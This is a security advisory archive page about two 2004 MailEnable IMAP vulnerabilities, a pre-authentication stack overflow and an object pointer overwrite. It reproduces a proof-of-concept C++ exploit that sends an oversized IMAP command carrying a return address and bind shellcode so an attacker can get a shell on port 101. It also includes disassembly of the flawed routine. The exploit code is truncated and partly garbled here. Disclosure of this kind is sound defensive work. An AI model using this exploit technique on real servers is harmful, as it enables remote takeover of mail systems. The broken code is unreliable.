Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (E-mail Server)  >   MailEnable Vendors:   MailEnable Pty. Ltd.
MailEnable Stack Overflow and Pointer Overwrite in IMAP Service Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012327
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 25 2004
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): Professional Edition v1.52, MailEnable Enterprise Edition v1.01
Description:   Hat-Squad Security Team reported two vulnerabilities in MailEnable in the IMAP service. A remote user can execute arbitrary code.

It is reported that a remote user can trigger a stack-based buffer overflow or an object pointer overwrite to execute arbitrary code on the target system.

A remote user can send a specially crafted command in the following format to trigger the buffer overflow:

<identifier tag 3bytes> <Ax8198> <ret_addr>

The original advisory and some demonstration exploit code is available at:

Nima Majidi is credited with discovering this flaw.

The vendor was notified on November 24, 2004.

Impact:   A remote user can execute arbitrary code on the target system with the privileges of the IMAP service.
Solution:   The vendor has issued a fix, available at:

Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (NT), Windows (2000), Windows (2003), Windows (XP)

Message History:   None.

 Source Message Contents

Subject:  Hat-Squad Advisory: Remote buffer overflow in MailEnable IMAP service


Please see the attached security advisory for MailEnable vulnerabilities with
POC included.


Hat-Squad Security Team

   				 Hat-Squad Security Team Advisory 

Product: MailEnable Mail Server
Vendor Url:
Version: MailEnable Professional Edition v1.52, MailEnable Enterprise Edition v1.01
Vulnerability: Remote buffer overflow in IMAP service 
Release Date: 26 November, 2004

Vendor Status: 
InInformed on 24 November 2004
Response: 24 November 2004
Fixed on 25 November 2004


MailEnable's Mail Server software provides a enterprise messaging platform for Microsoft Windows NT/2000/XP/2003 systems. 
MailEnable Proferssional IMAP services allows users to have server hosted folders and subfolders.
 Two vulnerabilities were discovered by Hat-Squad Team in MailEnable's IMAP service including a stack based buffer overflow
 and an object pointer overwrite, both can lead to remote execution of arbitrary code.

1. Stack based Buffer Overflow:

Due to a boundary check bug in the IMAP service, sending a client command with more than 
8198 bytes will cause a stack buffer overflow.This vulnerability can be triggered before any kind of authentification.

Sample Request:  

<identifier tag 3bytes> <Ax8198> <ret_addr>  

as a result EIP will be overwritten with ret_addr.

Proof Of Concept Exploit by class101 ( :


Mailenable Pro v1.52, IMAP Service, Remote Buffer Overflow Exploit by 

Tested on: 
	Win2k SP4 Pro    English  
	Win2k SP4 Pro    French   
	Win2k SP4 Server English 

Greetz: Arashy, Homi 	   

#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")

//BIND shellcode port 101, XORed 0x88, thanx HDMoore. 

char scode[] ="\xEB"

static char payload[10000];

char magikcll[]="\x7a\x8c\x01\x10"; //CALL EDI - MEAISP.dll - "Universal"

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
	if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}	
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){
		cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
	int ip=htonl(inet_addr(argv[1])), sz, port, sizeA, a;
	if (argc==3){port=atoi(argv[2]);}
	else port=143;
	char *target;
	struct fd_set mask;
	struct timeval timeout; 
	struct sockaddr_in server;
	cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();
	return -1;}
	WSAConnect(s,(struct sockaddr 
		case -1: {
			cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);
			return -1;
		case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);
			return -1;}
			cout<<"[+] connected, constructing the payload..."<<endl;
			for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { 
				cout<<"[+] sending error, the server prolly rebooted."<<endl;
				return -1;}
			cout<<"[+] size of payload: "<<sz<<endl;			
			cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
			return 0;
	return 0;

void usage(char* us) 
	cout<<"USAGE: me_expl.exe <Target> <Port>\n"<<endl;
	cout<<"NOTE:                               "<<endl;
	cout<<"      The port 143 is default if no port are specified"<<endl;
	cout<<"      The exploit bind a shellcode to the port 101"<<endl;
void ver()
cout<<"       ============================================================"<<endl;
cout<<"        ======MailEnable, Pro Mail Server for Windows <= v1.52======="<<endl; 
cout<<"        ========IMAP Service, Remote Buffer Overflow Exploit========="<<endl;
cout<<"        ======coded by class101=============[ 2004]====="<<endl;
cout<<"       ============================================================"<<endl;


2. Object Pointer Overwrite:

MailEnable failes to check length of the request snet to IMAP service, 
before doing any command processing task. Sending more than 432 bytes 
to MEIMAP and terminating the connection, will cause a pointer overwrite 
and in execution flow, EAX,ECX and EDX registers will be overwritten . 
Part of the vulnerable code goes below:

0040E9E0  /$ 55             PUSH EBP
0040E9E1  |. 8BEC           MOV EBP,ESP
0040E9E3  |. 51             PUSH ECX
0040E9E4  |. 894D FC        MOV DWORD PTR SS:[EBP-4],ECX
0040E9E7  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
0040E9EA  |. 8338 00        CMP DWORD PTR DS:[EAX],0
0040E9ED  |. 74 10          JE SHORT MEIMAPS.0040E9FF
0040E9EF  |. 8B4D FC        MOV ECX,DWORD PTR SS:[EBP-4]
0040E9F2  |. 8B11           MOV EDX,DWORD PTR DS:[ECX]	<-------- Exception
0040E9F4  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
0040E9F7  |. 8B08           MOV ECX,DWORD PTR DS:[EAX]
0040E9F9  |. 8B01           MOV EAX,DWORD PTR DS:[ECX]
0040E9FB  |. 52             PUSH EDX
0040E9FC  |. FF50 04        CALL DWORD PTR DS:[EAX+4]		<------- Method Call
0040E9FF  |> 8BE5           MOV ESP,EBP
0040EA01  |. 5D             POP EBP
0040EA02  \. C3             RETN

The actual code should be :
char *buff;
strcpy(buff,input);		<--- obj pointer overwrite
vuln_function(SomeClass *obj, char *input) {


"call dword ptr ds:[EAX+4]" stands for  "obj_arg->someMethod();" . This call instruction could be used to
 exploit by brute-forcing input buffer address in stack area.

Vendor Response: 

MailEnable has released a patch for these vulnerabilities:

Discovery: Nima Majidi (
Additional Research: idespinner( and class101 (

Original advisory could be found at:

Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC